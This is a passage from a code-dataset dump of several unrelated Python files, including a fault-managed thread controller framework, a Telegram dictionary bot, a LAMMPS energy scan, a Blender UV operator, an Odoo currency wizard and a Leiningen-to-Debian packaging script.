uptime: %s\" %\n\t\t\t(self.number_restarts, self.uptime, self.avg_uptime))\n\n# pylint: disable-msg=R0903,R0913\nclass _Action(object):\n\t\"\"\"Controller dependency-graph navigator for dynamic configuration\n\tchanges.\n\n\tIt is effectively a struct with the following members:\n\t- verb: the verb, such as \"start\", that describes the action.\n\t- gerund: the present progressive conjugation of the verb, such\n\t\t\tas \"starting\".\n\t- past: the past perfect, such as \"started\".\n\t- initial: a function that, given a Controller class, determines\n\t\t\twhether the class forms a starting point in recursing\n\t\t\tthrough the dependency tree.\n\t- propagate: a function that, given a Controller class, determines\n\t\t\twhich classes to recurse to next.\n\t\"\"\"\n\n\tdef __init__(self, verb, gerund, past, initial, propagate):\n\t\tself.verb = verb\n\t\tself.gerund = gerund \n\t\tself.past = past\n\t\tself.initial = initial\n\t\tself.propagate = propagate\n# pylint: enable-msg=R0903,R0913\n\n# pylint: disable-msg=C0203,W0212\nclass Controllers(Iterable, Stateless):\n\t\"\"\"Metaclass for fault-managed execution components.\"\"\"\n\n\tdef __new__(mcs, name, bases, clsdict):\n\t\t# Override Stateless's clone() injection with our own\n\t\t# clone which ignores kwargs.\n\t\tcls = super(Controllers, mcs).__new__(mcs, name, bases, clsdict)\n\n\t\tdef clone(self):\n\t\t\t\"\"\"Duplicate this instance from its position arguments only.\"\"\"\n\t\t\treturn type(self)(*type(self).instance_args(self))\n\n\t\tclsdict['clone'] = clone\n\n\t\treturn super(Controllers, mcs).__new__(mcs, name, bases, clsdict)\n\n\tdef __init__(cls, name, bases, dct):\n\t\tsuper(Controllers, cls).__init__(name, bases, dct)\n\t\tcls.__instances = {}\n\t\tcls._statistics = collections.defaultdict(FMECStats)\n\t\tcls._enables = []\n\n\t\t# Tell the classes we depend upon that we depend upon them.\t\n\t\tfor dep in cls.depends:\n\t\t\tdep._enables.append(cls)\n\n\tdef __getitem__(cls, pid):\n\t\tfor inst in cls:\n\t\t\tif inst.pid == pid:\n\t\t\t\treturn inst\n\t\telse:\n\t\t\traise ValueError(\"No %s instance manages %s.\" % (cls.name, pid))\n\n\tdef update(cls, old, new, logfunc=None):\n\t\t\"\"\"Notify everything that depends upon this controller class\n\t\tthat an instance faulted and was restarted.\"\"\"\n\t\tlogfunc = logfunc if logfunc else lambda x: None\n\t\tfor enable in cls._enables:\n\t\t\tfor inst in enable:\n\t\t\t\tif inst.on_update(cls, old, new, logfunc):\n\t\t\t\t\tenable.update(logfunc)\n\n\tdef get_stats(cls, inst):\n\t\t\"\"\"Get the behavioral statistics for the component managed by the\n\t\tprovided instance.\"\"\"\n\t\treturn cls._statistics[cls.instance_args(inst)]\n\n\tdef instance_args(cls, inst):\n\t\t\"\"\"Return the argument list for the given instance.\"\"\"\n\t\t(args, _) = super(Controllers, cls).instance_args(inst)\n\t\treturn args\n\n\t@classmethod\n\tdef startup(mcs, logfunc=None):\n\t\t\"\"\"Start the FMEC system based upon the currently-loaded\n\t\tYellowbox config.\"\"\"\n\t\taction = _Action(\"start\", \"starting\", \"started\",\n\t\t\tlambda x: x.depends,\n\t\t\tlambda x: x._enables\n\t\t)\n\n\t\tPrimitives.configure()\n\t\tmcs._reconfigure(action, logfunc)\n\n\t@classmethod\n\tdef reconfigure(mcs, logfunc=None):\n\t\t\"\"\"Reconfigure the FMEC system based upon the currently-loaded\n\t\tYellowbox config.\"\"\"\n\t\taction = _Action(\"reconfigure\", \"reconfiguring\", \"reconfigured\",\n\t\t\tlambda x: x.depends,\n\t\t\tlambda x: x._enables\n\t\t)\n\n\t\tPrimitives.configure()\n\t\tmcs._reconfigure(action, logfunc)\n\n\t@classmethod\n\tdef shutdown(mcs, logfunc=None):\n\t\t\"\"\"Stop all FMECs.\"\"\"\n\t\taction = _Action(\"stop\", \"stopping\", \"stopped\",\n\t\t\tlambda x: x._enables,\n\t\t\tlambda x: x.depends\n\t\t)\n\n\t\tPrimitives.clear()\n\t\tmcs._reconfigure(action, logfunc)\n\n\t# pylint: disable-msg=W0142\n\t@classmethod\n\tdef _reconfigure(mcs, action, logfunc=None):\n\t\t\"\"\"Reconfigure all controllers, walking the dependency graph in\n\t\tan order determined by `action' and emitting messages using\n\t\t`logfunc'.\n\t\t\"\"\"\n\t\n\t\tlogfunc = logfunc if logfunc else lambda x: None\n\n\t\tstarting_points = [x for x in mcs if not action.initial(x)]\n\n\t\tlogfunc(\"recursive %s starts at: %s\" % (action.verb,\n\t\t\t\t\t', '.join([x.name for x in starting_points])))\n\n\t\tdef recursive_reconfig(cls):\n\t\t\t\"\"\"Reconfigure the dependency sub-graph descending from `cls'.\"\"\"\n\t\t\tlogfunc(\"%s all %ss...\" % (action.gerund, cls.name))\n\n\t\t\tinstances = \\\n\t\t\t\tdict([(tuple(cls.instance_args(inst)), inst) for inst in cls])\n\n\t\t\torig = set([tuple(cls.instance_args(inst)) for inst in cls])\n\t\t\tnew = set([tuple(x) for x\n\t\t\t\t\tin util.cartesian_product(cls.autoconf_parameters)])\n\n\t\t\tfor add in new - orig:\n\t\t\t\tadded = cls(*add)\n\t\t\t\tadded.start()\n\t\t\t\tlogfunc(\" started %s #%s\" % (added.name, id(added)))\n\n\t\t\tfor rem in orig - new:\n\t\t\t\tto_stop = instances[rem]\n\t\t\t\tto_stop.stop()\n\t\t\t\tlogfunc(\" stopped %s #%s\" % (to_stop.name, id(to_stop)))\n\n\t\t\tlogfunc(\"%s subsystem %s.\" % (cls.name, action.past))\n\n\t\t\tfor next in action.propagate(cls):\n\t\t\t\trecursive_reconfig(next)\n\n\t\tfor cls in starting_points:\n\t\t\trecursive_reconfig(cls)\n\t# pylint: enable-msg=W0142\n\n\tdef __call__(cls, *args, **kwargs):\n\t\tinst = super(Controllers, cls).__call__(*args, **kwargs)\n\t\tcls._statistics[cls.instance_args(inst)].update_start()\n\n\t\treturn inst\n\n\tdef __delitem__(cls, inst):\n\t\tcls._statistics[cls.instance_args(inst)].update_stop()\n\t\tsuper(Controllers, cls).__delitem__(inst)\n# pylint: enable-msg=W0212\n\n# pylint: disable-msg=R0201,R0921\nclass Controller(threading.Thread):\n\t\"\"\"Base class for fault-managed execution components.\n\n\tAn FMEC is a daemonic Thread with the following properties:\n\t* The thread manages resources.\n\t* The resources are named by the `resource_id' attribute.\n\t* The resources managed by a thread do not change during its lifetime.\n\t* A thread's behavior is completely parameterized by the arguments passed\n\t\tto its constructor.\n\t* For a given set of constructor arguments, at most one thread\n\t\tparameterized by those arguments will be running at any given time.\n\t* So long as the managed resource exists, the thread should be running.\n\t\tIf the thread is not running, a fault has occurred.\n\n\tFrom that it follows:\n\t* Any fault can be detected by checking to see if the FMEC is running.\n\t* Any fault can be cleared by microrebooting the FMEC. A microreboot is\n\t\tdone by stopping the faulted FMEC, cloning it by instantiating a new\n\t\tinstance from the arguments passed to the faulted one, and then\n\t\tstarting the clone.\n\n\tFurther, Controller works in such a way that subclasses must override\n\t`Controller._run()', not `Controller.run()' (Note the leading underscore).\n\tThis is because Controller works around a problem with threads not using\n\tsys.excepthook() on an uncaught exception.\n\n\tThe FMEC system provides some useful semantic additions to simplify what\n\twould be an otherwise complicated system.\n\n\t* `Controllers` is iterable over the subclasses of Controller.\n\t* Each `Controller` subclass is iterable over its instances. Once the\n\t\t`stop()` method has been called on an instance the `Controller` will\n\t\tforget it.\n\t* Each `Controller` instance has a PID associated with it (this is the\n\t\tpid of its worker process, if any). Each `Controller` subclass knows\n\t\tthis and indexes its instances by PID. SomeControllerClass[pid] returns\n\t\tthe instance (or throws ValueError) associated with the given PID.\n\t* Each `Controller` subclass keeps track of statistics for each managed\n\t\tresource, such as the uptime of its FMEC, the number of microreboots\n\t\tdone to its associated FMEC, the average uptime for the FMEC, etc.\n\t\tThese statistics are retrieved by calling `get_stats()' on the FMEC\n\t\tinstance.\n\n\tThe FMEC system understands that some classes of Controllers will be\n\treliant upon the correct operation of the instances of other classes of\n\tControllers. Any such dependencies can be indicated by setting the\n\t`depends` class attribute to a tuple containing all the Controller classes\n\tdepended upon.\n\n\tCircular dependencies between Controllers are strictly forbidden.\n\n\tFMECs are guaranteed to be started only after their dependencies have\n\tstarted. They will be stopped only after all FMECs which depend upon\n\tthem have stopped, and before any of their dependencies are stopped.\n\n\tFMEC instantiation and activation is automatic and completely hands-off.\n\tTo make this work, each FMEC class must define the `autoconf_parameters`\n\tattribute. The parameters tuple lists out the iterables from which\n\teach argument to `__init__' will be taken. One instance will be created\n\tfor each element in the cartesian product of what's listed in the\n\tparameters attribute.\n\n\tSo if `autoconf_parameters' for FooController is\n\t\t(ControllerA, ControllerB),\n\tand FooController's init is `__init__(self, ca, cb)', and there are\n\t2 ControllerAs, and 3 ControllerBs, a total of 6 FooControllers will\n\tbe instantiated, one for each possible pairing of (ca, cb).\n\n\tVisually:\n\n\tLet ControllerA => {CA1, CA2}\n\tLet ControllerB => {CB1, CB2, CB3}\n\n\tThen FooController => {\n\t\tFooController(CA1, CB1),\n\t\tFooController(CA1, CB2),\n\t\tFooController(CA1, CB3),\n\t\tFooController(CA2, CB1),\n\t\tFooController(CA2, CB2),\n\t\tFooController(CA2, CB3),\n\t}\n\n\tThis takes full advantage of the fact that Controller classes are\n\titerable over their instances. That also means that something with another\n\titerable, like:\n\t\t`autoconf_parameters = (('a', 'b', 'c'), (1, 2, 3))`\n\twill do exactly what you expect, producing 9 instances parameterized on\n\tthe cartesian product ( (a, b, c) X (1, 2, 3) ). An arbitrary number of\n\tparameters is supported.\n\n\tIN SUMMARY:\n\n\tSo a subclass of Controller may define the `depends' attribute, and\n\tmust (unless it has a zero-argument constructor) define the\n\t`autoconf_parameters' attribute.\n\n\tInstances must have the following attributes:\n\t* pid\n\t* resource_id\n\n\tAn FMEC must fill in the following methods:\n\t* _run(): the main loop of the thread\n\t* clone() -> FMEC: Return a new FMEC which is ready to take over control\n\t\tof the resources managed by the callee.\n\n\tAnd should fill in:\n\t* on_update(kind, instance, logfunc) -> Bool: called by another thread\n\t\twhen a dependency (possibly a transitive dependency) has been\n\t\tmicrorebooted. If this method returns True, then the notification will\n\t\tcontinue propagating to all FMECs dependent upon this one.\n\t* stop(): Stop the callee.\n\t\"\"\"\n\n\n\t__metaclass__ = Controllers\n\t_skip_iterate_ = True\n\n\tdepends = tuple()\n\tautoconf_parameters = tuple()\n\n\tdef __init__(self, name):\n\t\tthreading.Thread.__init__(self, name=name)\n\t\tself.setDaemon(True)\n\t\tself.name = self.getName()\n\n\t@property\n\tdef pid(self):\n\t\t\"\"\"Return the PID of the process this FMEC controls.\"\"\"\n\t\treturn None\n\n\t@property\n\tdef resource_id(self):\n\t\t\"\"\"Provide the ID of the resource this FMEC manages.\"\"\"\n\t\treturn self.name\n\n\tdef run(self, *args, **kwargs):\n\t\t\"\"\"Wrapper around Controller._run() that takes care of passing\n\t\tthe proper exceptions to sys.excepthook().\"\"\"\n\t\ttry:\n\t\t\tself._run(*args, **kwargs)\n\t\texcept (KeyboardInterrupt, SystemExit):\n\t\t\traise\n\t\texcept:\n\t\t\t# pylint: disable-msg=W0142\n\t\t\tsys.excepthook(*sys.exc_info())\n\t\t\t# pylint: enable-msg=W0142\n\n\tdef _run(self, *args, **kwargs):\n\t\t\"\"\"ABSTRACT: Controller thread's run()\"\"\"\n\t\traise NotImplementedError\n\n\tdef on_update(self, kind, old, new, logfunc):\n\t\t\"\"\"Default update notification callback.\n\n\t\tBy default, update notifications are allowed to propagate all\n\t\tthe way to the leaves of the notification graph.\"\"\"\n\n\t\t# pylint: disable-msg=W0212\n\t\tif type(self)._enables:\n\t\t\tlogfunc(\n\t\t\t\t\"%s instance %s is propagating update notification \"\n\t\t\t\t\"from %s %s.\" % (type(self).name, self.name, kind.name,\n\t\t\t\t\t\t\t\t\tnew.name)\n\t\t\t)\n\t\t# pylint: enable-msg=W0212\n\t\treturn True\n\n\tdef stop(self):\n\t\t\"\"\"Stop this controller.\n\n\t\tAny subclass overriding `stop()' _must_ invoke this method in\n\t\tits `stop()'.\"\"\"\n\n\t\tdel type(self)[self]\n","sub_path":"yblib/FMEC.py","file_name":"FMEC.py","file_ext":"py","file_size_in_byte":13433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"221086011","text":"import telebot\n\nfrom modules.glossary import Glossary\nfrom modules.reducers import Reducers\n\nimport os\n\nfrom dotenv import load_dotenv\n\nload_dotenv()\ntoken = os.getenv('TELEGRAM_TOKEN')\n\n_bot = telebot.TeleBot(token)\n\nstart_msg = 'Доступні команди:\\n/en\\n' \\\n 'Але ми працюємо над покращенням :)'\n\n\n@_bot.message_handler(commands=['en'])\ndef en(message):\n text = message.text[3:]\n if not text:\n _bot.send_message(message.chat.id,\n 'Для пошуку англійських слів відправ повідомлення типу\\n'\n '/en first, second, third\\n'\n 'Вони обов\\'язково мають бути розділені комою з пробілом',\n parse_mode='html', disable_web_page_preview=True)\n else:\n send_dict(message, text, Reducers.create, 'Пошук англійських слів')\n\n\n@_bot.message_handler(func=lambda message: True, content_types=['text'])\ndef echo_message(message):\n _bot.send_message(message.chat.id, start_msg, parse_mode='html')\n\n\ndef send_dict(message, words_str, reducer, first_msg):\n cid = message.chat.id\n\n def normalize(word):\n return word.strip(' ,.:\\n').capitalize()\n\n words_arr = sorted(map(normalize, words_str.split(', ')))\n\n _bot.send_message(cid, first_msg, disable_web_page_preview=True)\n _bot.send_message(cid, f'Отримано слів: {len(words_arr)}')\n _bot.send_chat_action(cid, 'typing')\n\n glossary = Glossary(reducer)\n res = ''\n words_in_message = 0\n for idx, s in enumerate(words_arr, 1):\n words_in_message += 1\n word = s.translate({' ': '%20'})\n res += glossary.create_html(word, idx)\n\n if idx % 5 == 0:\n _bot.send_chat_action(cid, 'typing')\n\n if words_in_message % 20 == 0 or len(res) > 3500:\n words_in_message = 0\n _bot.send_message(cid, res, parse_mode='html')\n _bot.send_chat_action(cid, 'typing')\n res = ''\n\n _bot.send_message(cid, res, parse_mode='html')\n _bot.send_message(cid, start_msg)\n\n\nclass BotConfig:\n @staticmethod\n def process_updates(req):\n _bot.process_new_updates([telebot.types.Update.de_json(req)])\n\n @staticmethod\n def set_webhook(url):\n _bot.remove_webhook()\n _bot.set_webhook(url=url)\n","sub_path":"modules/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"233323771","text":"class Node:\r\n def __init__(self,value):\r\n self.value=value\r\n self.left=None\r\n self.right=None\r\n\r\n def right_view(self):\r\n queue=[]\r\n queue.append(self)\r\n while queue:\r\n q_len=len(queue)\r\n print(queue[0].value)\r\n while q_len:\r\n m=queue.pop(0)\r\n if m.left:\r\n queue.append(m.left)\r\n if m.right:\r\n queue.append(m.right)\r\n q_len=q_len-1\r\n \r\n def insert(self,data):\r\n if self.value>data:\r\n if self.left:\r\n self.left.insert(data)\r\n else:\r\n self.left=Node(data)\r\n elif self.value'))\n\n #Run lammps and extract data\n output = lmp.run(lammps_command, lammps_script, mpi_command)\n try:\n Ecoh_values[i] = uc.set_in_units(output.finds('v_peatom')[-1], lammps_units['energy'])\n except:\n Ecoh_values[i] = uc.set_in_units(output.finds('peatom')[-1], lammps_units['energy'])\n shutil.move('log.lammps', 'run0-'+str(i)+'-log.lammps')\n \n #Find unit cell systems at the energy minimums\n min_cells = []\n for i in xrange(1, rsteps - 1):\n if Ecoh_values[i] < Ecoh_values[i-1] and Ecoh_values[i] < Ecoh_values[i+1]:\n a = a_values[i]\n cell = deepcopy(ucell)\n cell.box_set(a = a,\n b = a * ucell.box.b / ucell.box.a,\n c = a * ucell.box.c / ucell.box.a, \n alpha=alpha, beta=beta, gamma=gamma, scale=True)\n min_cells.append(cell) \n \n return {'r_values': r_values, \n 'a_values': a_values, \n 'Ecoh_values': Ecoh_values, \n 'min_cell': min_cells}\n \ndef r_a_ratio(ucell):\n \"\"\"Calculates the shortest interatomic spacing, r, for a system wrt to box.a.\"\"\"\n r_a = ucell.box.a\n for i in xrange(ucell.natoms):\n for j in xrange(i):\n dmag = np.linalg.norm(ucell.dvect(i,j))\n if dmag < r_a:\n r_a = dmag\n return r_a/ucell.box.a\n \ndef read_input(f, UUID=None):\n \"\"\"Reads the calc_*.in input commands for this calculation and sets default values if needed.\"\"\"\n \n #Read input file in as dictionary \n input_dict = iprPy.tools.parseinput(f, allsingular=True)\n \n #set calculation UUID\n if UUID is not None: input_dict['calc_key'] = UUID\n else: input_dict['calc_key'] = input_dict.get('calc_key', str(uuid.uuid4()))\n \n #Verify required terms are defined\n assert 'lammps_command' in input_dict, 'lammps_command value not supplied'\n assert 'potential_file' in input_dict, 'potential_file value not supplied'\n assert 'load' in input_dict, 'load value not supplied'\n \n #Assign default values to undefined terms\n iprPy.input.units(input_dict)\n \n input_dict['mpi_command'] = input_dict.get('mpi_command', None)\n input_dict['potential_dir'] = input_dict.get('potential_dir', '')\n \n input_dict['load_options'] = input_dict.get('load_options', None)\n input_dict['box_parameters'] = input_dict.get('box_parameters', None)\n input_dict['symbols'] = input_dict.get('symbols', None)\n \n iprPy.input.axes(input_dict)\n iprPy.input.atomshift(input_dict)\n \n input_dict['sizemults'] = input_dict.get('sizemults', '3 3 3')\n iprPy.input.sizemults(input_dict)\n \n #these are integer terms\n input_dict['number_of_steps_r'] = int(input_dict.get('number_of_steps_r', 200))\n \n #these are terms with units\n input_dict['minimum_r'] = iprPy.input.value(input_dict, 'minimum_r', \n default_unit=input_dict['length_unit'], \n default_term='2.0 angstrom')\n input_dict['maximum_r'] = iprPy.input.value(input_dict, 'maximum_r', \n default_unit=input_dict['length_unit'], \n default_term='6.0 angstrom')\n \n \n return input_dict\n\ndef interpret_input(input_dict):\n with open(input_dict['potential_file']) as f:\n input_dict['potential'] = lmp.Potential(f, input_dict['potential_dir'])\n \n iprPy.input.system_family(input_dict)\n \n iprPy.input.ucell(input_dict)\n \n iprPy.input.initialsystem(input_dict)\n \ndef data_model(input_dict, results_dict=None):\n \"\"\"Creates a DataModelDict containing the input and results data\"\"\" \n \n #Create the root of the DataModelDict\n output = DM()\n output['calculation-cohesive-energy-relation'] = calc = DM()\n \n #Assign uuid\n calc['key'] = input_dict['calc_key']\n calc['calculation'] = DM()\n calc['calculation']['script'] = __calc_name__\n \n calc['calculation']['run-parameter'] = run_params = DM()\n \n run_params['size-multipliers'] = DM()\n run_params['size-multipliers']['a'] = list(input_dict['sizemults'][0])\n run_params['size-multipliers']['b'] = list(input_dict['sizemults'][1])\n run_params['size-multipliers']['c'] = list(input_dict['sizemults'][2])\n \n run_params['minimum_r'] = DM()\n run_params['minimum_r']['value'] = uc.get_in_units(input_dict['minimum_r'], input_dict['length_unit'])\n run_params['minimum_r']['unit'] = input_dict['length_unit']\n run_params['maximum_r'] = DM()\n run_params['maximum_r']['value'] = uc.get_in_units(input_dict['maximum_r'], input_dict['length_unit'])\n run_params['maximum_r']['unit'] = input_dict['length_unit']\n run_params['number_of_steps_r'] = input_dict['number_of_steps_r']\n \n #Copy over potential data model info\n calc['potential'] = DM()\n calc['potential']['key'] = input_dict['potential'].key\n calc['potential']['id'] = input_dict['potential'].id\n \n #Save info on system file loaded\n system_load = input_dict['load'].split(' ') \n calc['system-info'] = DM()\n calc['system-info']['artifact'] = DM()\n calc['system-info']['artifact']['file'] = os.path.basename(' '.join(system_load[1:]))\n calc['system-info']['artifact']['format'] = system_load[0]\n calc['system-info']['artifact']['family'] = input_dict['system_family']\n calc['system-info']['symbols'] = input_dict['symbols']\n \n if results_dict is None:\n calc['status'] = 'not calculated'\n else:\n calc['cohesive-energy-relation'] = DM()\n calc['cohesive-energy-relation']['r'] = DM()\n calc['cohesive-energy-relation']['r']['value'] = list(uc.get_in_units(results_dict['r_values'], input_dict['length_unit']))\n calc['cohesive-energy-relation']['r']['unit'] = input_dict['length_unit']\n calc['cohesive-energy-relation']['a'] = DM()\n calc['cohesive-energy-relation']['a']['value'] = list(uc.get_in_units(results_dict['a_values'], input_dict['length_unit']))\n calc['cohesive-energy-relation']['a']['unit'] = input_dict['length_unit']\n calc['cohesive-energy-relation']['cohesive-energy'] = DM()\n calc['cohesive-energy-relation']['cohesive-energy']['value'] = list(uc.get_in_units(results_dict['Ecoh_values'], input_dict['energy_unit']))\n calc['cohesive-energy-relation']['cohesive-energy']['unit'] = input_dict['energy_unit'] \n\n if 'min_cell' in results_dict:\n for cell in results_dict['min_cell']:\n calc.append('minimum-atomic-system', cell.model(symbols = input_dict['symbols'], box_unit = input_dict['length_unit'])['atomic-system'])\n\n return output \n \nif __name__ == '__main__':\n main(*sys.argv[1:]) ","sub_path":"iprPy/calculations/E_vs_r_scan/calc_E_vs_r_scan.py","file_name":"calc_E_vs_r_scan.py","file_ext":"py","file_size_in_byte":11235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"643561744","text":"import bpy\nimport math\nimport bmesh\nfrom mathutils import Vector\n\nclass DREAMUV_OT_uv_cycle(bpy.types.Operator):\n \"\"\"Rotate UVs but retain uv edge positions\"\"\"\n bl_idname = \"view3d.dreamuv_uvcycle\"\n bl_label = \"3D View UV Cycle\"\n bl_options = {\"UNDO\"}\n\n def execute(self, context):\n mesh = bpy.context.object.data\n bm = bmesh.from_edit_mesh(mesh)\n bm.faces.ensure_lookup_table()\n uv_layer = bm.loops.layers.uv.active\n \n #do this again\n faces = list()\n #MAKE FACE LIST\n for face in bm.faces:\n if face.select:\n faces.append(face) \n \n #get original size\n xmin, xmax = faces[0].loops[0][uv_layer].uv.x, faces[0].loops[0][uv_layer].uv.x\n ymin, ymax = faces[0].loops[0][uv_layer].uv.y, faces[0].loops[0][uv_layer].uv.y\n \n for face in faces: \n for vert in face.loops:\n xmin = min(xmin, vert[uv_layer].uv.x)\n xmax = max(xmax, vert[uv_layer].uv.x)\n ymin = min(ymin, vert[uv_layer].uv.y)\n ymax = max(ymax, vert[uv_layer].uv.y)\n\n #prevent divide by 0:\n if (xmax - xmin) == 0:\n xmin = .1\n if (ymax - ymin) == 0:\n ymin = .1\n\n for face in faces:\n for loop in face.loops:\n\n loop[uv_layer].uv.x -= xmin\n loop[uv_layer].uv.y -= ymin\n loop[uv_layer].uv.x /= (xmax-xmin)\n loop[uv_layer].uv.y /= (ymax-ymin)\n\n newx = -loop[uv_layer].uv.y + 1.0\n newy = loop[uv_layer].uv.x \n loop[uv_layer].uv.x = newx\n loop[uv_layer].uv.y = newy\n\n loop[uv_layer].uv.x *= xmax-xmin\n loop[uv_layer].uv.y *= ymax-ymin\n loop[uv_layer].uv.x += xmin\n loop[uv_layer].uv.y += ymin \n\n bmesh.update_edit_mesh(mesh, loop_triangles=False, destructive=False)\n return {'FINISHED'}","sub_path":"DUV_UVCycle.py","file_name":"DUV_UVCycle.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"306516039","text":"from collections import deque,defaultdict,OrderedDict\n\nq = deque(['a','b','c'])\nq.append('x')\nq.appendleft('y')\nprint(q)\n\ndd = defaultdict(lambda: 'N/A')\ndd['key1'] = 'abc'\nprint(dd['key2'])\n\nod = OrderedDict([('a',1),('b',2),('c',3)])#OrderedDict的Key会按照插入的顺序排列,不是Key本身排序,遵循先进先出,超出容量时,先删除最先的key\nprint(od)","sub_path":"com/0409/collection_02_deque.py","file_name":"collection_02_deque.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"40273810","text":"# -*- coding: utf-8 -*-\n# © 2017 Pharmadus I.T.\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).\n\nfrom openerp import models, fields, api, _\nfrom openerp.exceptions import Warning\n\n\nclass AccountMove(models.Model):\n _inherit = 'account.move'\n\n @api.multi\n def compute_exchange_rate(self):\n self.ensure_one()\n\n dest_curr = False\n for line in self.line_id:\n if line.currency_id:\n if dest_curr and dest_curr != line.currency_id:\n raise Warning(_('It is not possible to convert multiple '\n 'currencies'))\n else:\n dest_curr = line.currency_id\n if not dest_curr:\n dest_curr = self.env.ref('base.USD')\n\n wizard = self.env['foreign.exchange'].create({\n 'date': self.date if self.date else fields.Date.today(),\n 'source_currency': self.env.user.company_id.currency_id.id,\n 'destination_currency': dest_curr.id,\n 'account_move': self.id,\n 'wizard': True\n })\n\n return {\n 'context': self.env.context,\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'foreign.exchange',\n 'res_id': wizard.id,\n 'view_id': False,\n 'type': 'ir.actions.act_window',\n 'name': _('Foreign exchange'),\n 'target': 'new',\n }\n","sub_path":"project-addons/foreign_exchange/models/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"239901511","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nThis script creates template Debian packages for programs and libraries\nbuilt with Leiningen. It makes use of leinpkg.Project to parse the\nLeiningen configuration file and populates the debian folder using\njinja templates.\n\"\"\"\n\nfrom subprocess import call\nimport argparse\nimport logging\nimport sys\nimport os\ntry:\n import configparser\nexcept ImportError:\n import ConfigParser as configparser\n\nfrom leinpkg.parsers import ProjectParser, PomParser\nfrom leinpkg.core import compute_project_variables, populate_debian_folder\nfrom leinpkg.core import create_clean_base_profile\nimport leinpkg.exceptions as chexcept\n\n\nlogging.basicConfig()\nLOG = logging.getLogger('lein_makepkg')\n\n\ndef ask_yn(prompt):\n answer = ''\n while not answer in ['y', 'yes', 'n', 'no']:\n answer = raw_input('{} Y/N '.format(prompt)).lower()\n\n return answer.startswith('y')\n\n\ndef handle_missing_deps(deps):\n \"\"\"\n This function looks at the missing dependencies, informs the user\n about them, and asks him what to do.\n\n Returns the list of dependencies the user wants to include in te package.\n \"\"\"\n\n missing_deps = [d for d in deps if d['version'] == '?']\n\n #Inform of missing dependencies\n for dep in missing_deps:\n artifact = '{group}/{name}:{version}:{type}'.format(**dep)\n if dep['type'] == 'test':\n msg = '{} is a test dependency but it\\'s not available'\n msg = msg.format(artifact)\n else:\n msg = '{} is not available'\n msg = msg.format(artifact)\n LOG.warning(msg)\n #Ask if we want to ignore it\n if ask_yn('Do you want to ignore it?'):\n deps.remove(dep)\n\n return deps\n\n\ndef create_pom_file():\n \"\"\"\n Creates a base pom file from the leiningen project removing any possible\n dependencies for using the base profile.\n \"\"\"\n\n try:\n create_clean_base_profile()\n with open(os.devnull, 'w') as null:\n call(['lein', '-o', 'pom'], stdout=null, stderr=null)\n os.remove('profiles.clj')\n except:\n raise\n\n\ndef cmdline_options():\n \"\"\"\n Returns a dictionary containing the options found in command-line arguments\n and environment variables.\n \"\"\"\n\n parser = init_parser()\n options = vars(parser.parse_args())\n\n return options\n\n\ndef config_file_options():\n \"\"\"\n Returns a dictionary containing the options found in the configuration\n files.\n \"\"\"\n\n confparser = configparser.ConfigParser()\n confparser.read([os.path.expanduser('~/.clojurehelper.conf')])\n conf = confparser._sections['lein_makepkg']\n\n return conf\n\n\ndef init_project_parser():\n \"\"\"Returns a parser depending on what type of project file is found.\"\"\"\n\n if os.path.exists('pom.xml') and os.path.exists('project.clj'):\n print('Maven project and Leiningen project found')\n print('Which file would you like to read?')\n print('1. pom.xml')\n print('2. project.clj')\n choice = raw_input()\n\n if choice == '1':\n project_parser = PomParser('pom.xml')\n elif choice == '2':\n if not os.path.exists('project.xml'):\n with open(os.devnull, 'w') as null:\n call(['lein', 'xml'], stdout=null, stderr=null)\n project_parser = ProjectParser('project.xml')\n else:\n print('Invalid choice')\n sys.exit()\n elif os.path.exists('project.clj'):\n create_pom_file()\n os.rename('pom.xml', 'pom.xml.lein')\n project_parser = PomParser('pom.xml.lein')\n elif os.path.exists('pom.xml'):\n project_parser = PomParser('pom.xml')\n elif os.path.exists('project.xml'):\n project_parser = ProjectParser('project.xml')\n else:\n print('No pom or project.clj files detected')\n sys.exit()\n\n return project_parser\n\n\ndef init_parser():\n \"\"\"Initialize argument parser.\"\"\"\n\n argparser = argparse.ArgumentParser()\n\n argparser.add_argument('-p', '--package', help=('Set the package name '\n '(defaults to Leiningen project name)'))\n\n argparser.add_argument('-m', '--maintainer', help=('Set maintainer\\'s'\n ' name (defaults to DEBFULLNAME)'),\n default=os.environ.get('DEBFULLNAME', ''))\n\n argparser.add_argument('-e', '--email', help=('Set maintainer\\'s'\n ' email (defaults to DEBEMAIL)'),\n default=os.environ.get('DEBEMAIL', ''))\n\n argparser.add_argument('-v', '--version', help=('Set package version'\n ' (defaults to Leiningen project version)'))\n\n argparser.add_argument('--maven', help='Use maven-repo-helper',\n dest='maven', action='store_true')\n\n argparser.add_argument('--no-configfile', help=('Ignore configuration'\n ' file'), dest='no_configfile',\n action='store_true')\n\n argparser.add_argument('--debug', help='Print debug messages',\n dest='debug', action='store_true')\n\n argparser.add_argument('--tests', help='Run tests after build',\n dest='tests', action='store_true')\n\n return argparser\n\n\ndef load_project_variables():\n \"\"\"\n Load project variables from different sources such as project files\n (pom.xml and project.clj), environment variables, command line options,\n and configuration files.\n\n Returns a dictionary with the project variables such as name, version,\n dependencies etc.\n \"\"\"\n\n #Parse environment\n env = os.environ\n\n #Parse cmdline arguments\n options = cmdline_options()\n\n #Parse config file\n if not options['no_configfile']:\n conf = config_file_options()\n else:\n conf = {}\n\n #Set logging level if it was set in the options\n if options['debug'] or conf.get('debug', False):\n LOG.setLevel(logging.DEBUG)\n\n #Parse the properties\n project_parser = init_project_parser()\n properties = project_parser.parse()\n\n project = compute_project_variables(properties, options, env, conf)\n\n #Report any anomalies\n if (not project['source_name']) and (not options['package']):\n LOG.warning(('Project name not found in property file and 